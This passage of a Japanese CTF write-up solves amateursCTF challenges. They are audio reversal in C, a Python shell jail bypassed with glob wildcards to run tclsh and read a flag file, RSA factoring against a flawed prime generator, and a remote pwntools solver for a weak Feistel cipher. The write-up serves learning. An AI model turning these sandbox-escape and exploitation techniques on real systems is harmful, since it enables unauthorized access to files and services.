fmt.byte_samp; data_chunk.size = sample_num * (fmt.bit / 8); // 1/3倍に変更 fmt.fs = fmt.fs / 3; fmt.byte_sec = fmt.fs * fmt.byte_samp; fseek(wave_txt, 0, SEEK_SET); uint16_t *data = (uint16_t *)malloc(data_chunk.size); for (int i = 0; i < sample_num; i++) { fgets(buf, 90, wave_txt); data[i] = atoi(buf); } fwrite(&riff, sizeof(RIFFChunk), 1, fp); fwrite(&fmt, sizeof(FormatChunk), 1, fp); fwrite(&data_chunk, sizeof(DataChunk), 1, fp); fwrite(data, data_chunk.size, 1, fp); fclose(wave_txt); fclose(fp); free(data); } int main() { wavToTxt("laughing.wav", "wave.txt"); txtToWav("wave.txt", "laughing2.wav"); RIFFChunk riff; FormatChunk fmt; DataChunk data_chunk; FILE *wave_file; wave_file = fopen("laughing.wav", "rb"); if (wave_file == NULL) { perror("file not found"); } fseek(wave_file, 0, SEEK_SET); fread(&riff, sizeof(RIFFChunk), 1, wave_file); fread(&fmt, sizeof(FormatChunk), 1, wave_file); fread(&data_chunk, sizeof(DataChunk), 1, wave_file); printFmt(&fmt); printf("filesize: %d\n", riff.size); printf("channel num: %d\n", fmt.channel); printf("sampling freq: %d\n", fmt.fs); printf("bit num: %d\n", fmt.bit); printf("sample num: %f\n", sampleNum(&fmt, &data_chunk)); printf("recording time: %f [s]\n", waveSeccond(&fmt, &data_chunk)); return 0; }
流用しているので無駄があるが,やっていることは,速度を落としてる.
// 1/3倍に変更 fmt.fs = fmt.fs / 3; fmt.byte_sec = fmt.fs * fmt.byte_samp;
また速度を落としたものを聞くと,逆再生されているように感じたので,データ部分を逆から読み込んでいる.
for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) { fprintf(txt, "%d\n", data[i]); }
出力されたものを聞くと,機械音声で,inverseとtransfomationsをアンダースコアでつなげてフラグラッパーでラップしたものと言っていた.
amateursCTF{inverse_transfomations}
transfomationsの最後のsを聞き取れず死んでいた.
sansomega [jail]
#!/usr/local/bin/python3 import subprocess BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]' def shell(): while True: cmd = input('$ ') if any(c in BANNED for c in cmd): print('Banned characters detected') exit(1) if len(cmd) >= 20: print('Command too long') exit(1) proc = subprocess.Popen( ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT) print(proc.stdout.read().decode('utf-8'), end='') if __name__ == '__main__': shell()
Dockerfile
FROM python:3.10 as base COPY ./shell.py /app/run COPY ./flag.txt /app/flag.txt FROM pwn.red/jail:latest COPY --from=base / /srv RUN chmod 755 /srv/app/run ENV JAIL_TIME=300 JAIL_MEM=50M JAIL_PIDS=10 JAIL_DEV=null,zero,urandom,ptmx JAIL_PIDS=60
入力できる文字が限られている.しかし?
が使えるので,以下のようなことができる.
/???/???
これにマッチする最初のファイルが実行される.
末尾が数字である対話型のプログラムを探すことにした.
いろいろ探してたらtclsh8.6
を見つけた.
/???/?????8.6
とすれば実行できる.
ファイルの読み込みは以下の手順
set file [open "/app/flag.txt" r] set content [read $file] puts $content exit
一連の動作をまとめてやるとフラグがもらえた.
❯ nc chal.amt.rs 2100 $ /???/?????8.6 set file [open "/app/flag.txt" r] set content [read $file] puts $content exit amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
unsuspicious-rsa [crypto]
from Crypto.Util.number import * def nextPrime(p, n): p += (n - p) % n p += 1 iters = 0 while not isPrime(p): p += n return p def factorial(n): if n == 0: return 1 return factorial(n-1) * n flag = bytes_to_long(open('flag.txt', 'rb').read().strip()) p = getPrime(512) q = nextPrime(p, factorial(90)) N = p * q e = 65537 c = pow(flag, e, N) print(N, e, c)
output.txt
172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 65537 128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241
重要なのはnextPrime
の実装
def nextPrime(p, n): p += (n - p) % n p += 1
変なことをしている.手元で実験してみよう.
>>> p=2 >>> n=6 >>> p+(n-p)%n 6
p<nの時はp=nとなる.
p>nの時はどうだろうか.
>>> p=7 >>> n=6 >>> p+(n-p)%n 12 >>> p=13 >>> p+(n-p)%n 18 >>> p=25 >>> p+(n-p)%n 30
p=n*(p//n)となっていることがわかる.
この関数を以下のように使っているので,生成される素数は予測可能.
q = nextPrime(p, factorial(90))
factorial(90)は90!
あとは pのだいたいの値がわかればいいがこれはsqrt(n)でいいはず.
あとはsolverを書くだけ.
from Crypto.Util.number import * import math def nextPrime(p, n): p += (n - p) % n p += 1 iters = 0 while not isPrime(p): p += n return p def factorial(n): if n == 0: return 1 return factorial(n-1) * n N=172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 e=65537 c=128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241 factorial_n=factorial(90) t=int(math.sqrt(N))//factorial_n q=factorial_n*t+1 while N%q!=0: q+=factorial_n # print(factorial(90)) print(q) p=N//q phi=(p-1)*(q-1) d=pow(e,-1,phi) m=pow(c,d,N) print(long_to_bytes(m))
実行するとフラグがもらえた.
amateursCTF{here's_the_flag_you_requested.}
faked-onion
#!/usr/local/bin/python3 import hmac from os import urandom def strxor(a: bytes, b: bytes): return bytes([x ^ y for x, y in zip(a, b)]) class Cipher: def __init__(self, key: bytes): self.key = key self.block_size = 16 self.rounds = 1 def F(self, x: bytes): return hmac.new(self.key, x, "md5").digest()[:15] def encrypt(self, plaintext: bytes): plaintext = plaintext.ljust(self.block_size, b"\x00") ciphertext = b"" for i in range(0, len(plaintext), self.block_size): block = plaintext[i : i + self.block_size] for _ in range(self.rounds): L, R = block[:-1], block[-1:] L, R = R, strxor(L, self.F(R)) block = L + R ciphertext += block return ciphertext key = urandom(16) cipher = Cipher(key) flag = open("flag.txt", "rb").read().strip() print("faked onion") while True: choice = input("1. Encrypt a message\n2. Get encrypted flag\n3. Exit\n> ").strip() if choice == "1": pt = input("Enter your message in hex: ").strip() pt = bytes.fromhex(pt) print(cipher.encrypt(pt).hex()) elif choice == "2": print(cipher.encrypt(flag).hex()) else: break print("Goodbye!")
まずdecrypt関数を作る.これはencryptの逆の手順をする関数を作ればいい.
def decrypt(ciphertext: bytes, hash_table: list): block_size = 16 plaintext = b"" rounds = 1 c = 0 for i in range(0, len(ciphertext), block_size): block = ciphertext[i : i + block_size] for _ in range(rounds): L, R = block[:1], block[1:] L, R = strxor(R, hash_table[c]), L block = L + R plaintext += block c += 1 return plaintext.rstrip(b"\x00")
あとはフラグを暗号化するときの,F(R)の値を特定すればいいのだが,encryptの実装を見るとわかる通り,平文の16バイト目を使って作っている. さらに,その平文の16バイト目は暗号化されずに出力されている.
def encrypt(self, plaintext: bytes): plaintext = plaintext.ljust(self.block_size, b"\x00") ciphertext = b"" for i in range(0, len(plaintext), self.block_size): block = plaintext[i : i + self.block_size] for _ in range(self.rounds): L, R = block[:-1], block[-1:] L, R = R, strxor(L, self.F(R)) block = L + R ciphertext += block return ciphertext
このことから,フラグを暗号化するときの,F(R)の値は,\x00
*15+その16バイト目の値
で取得できる.
これをもとにsolverを書く
#!/usr/local/bin/python3 import hmac from os import urandom from pwn import * def strxor(a: bytes, b: bytes): return bytes([x ^ y for x, y in zip(a, b)]) def decrypt(ciphertext: bytes, hash_table: list): block_size = 16 plaintext = b"" rounds = 1 c = 0 for i in range(0, len(ciphertext), block_size): block = ciphertext[i : i + block_size] for _ in range(rounds): L, R = block[:1], block[1:] L, R = strxor(R, hash_table[c]), L block = L + R plaintext += block c += 1 return plaintext.rstrip(b"\x00") io = remote("chal.amt.rs", 1414) block_size = 16 io.sendlineafter(b"> ", b"2") flag_crypt = io.readline()[:-1] flag_crypt_bytes = bytes.fromhex(flag_crypt.decode()) print(flag_crypt) print(flag_crypt_bytes) flag_parts = [] for i in range(0, len(flag_crypt_bytes), block_size): flag_parts.append(flag_crypt_bytes[i]) print(len(flag_crypt_bytes) / block_size) print(flag_parts) hash_table = [] for i in flag_parts: payload = b"00" * 15 + hex(i)[2:].ljust(2, "0").encode() io.sendlineafter(b"> ", b"1") io.sendlineafter(b"Enter your message in hex: ", payload) print(payload) flag_part_hash = io.readline()[:-1] flag_part_hash_bytes = bytes.fromhex(flag_part_hash.decode()) print(len(flag_part_hash_bytes)) hash_table.append(flag_part_hash_bytes[1:]) print(hash_table) flag = decrypt(flag_crypt_bytes, hash_table) print(flag)
実行するとフラグがもらえた.
amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}'
おわり
問題数が多くて,面白い問題が多かった.解き切れていないのでおいおい解いていこうと思う.
楽しかった.
hatenablogのwebエディタで書いたらめちゃおもになって,writeup書くの大変だった.
読んでくれてありがとうございました.終わりです.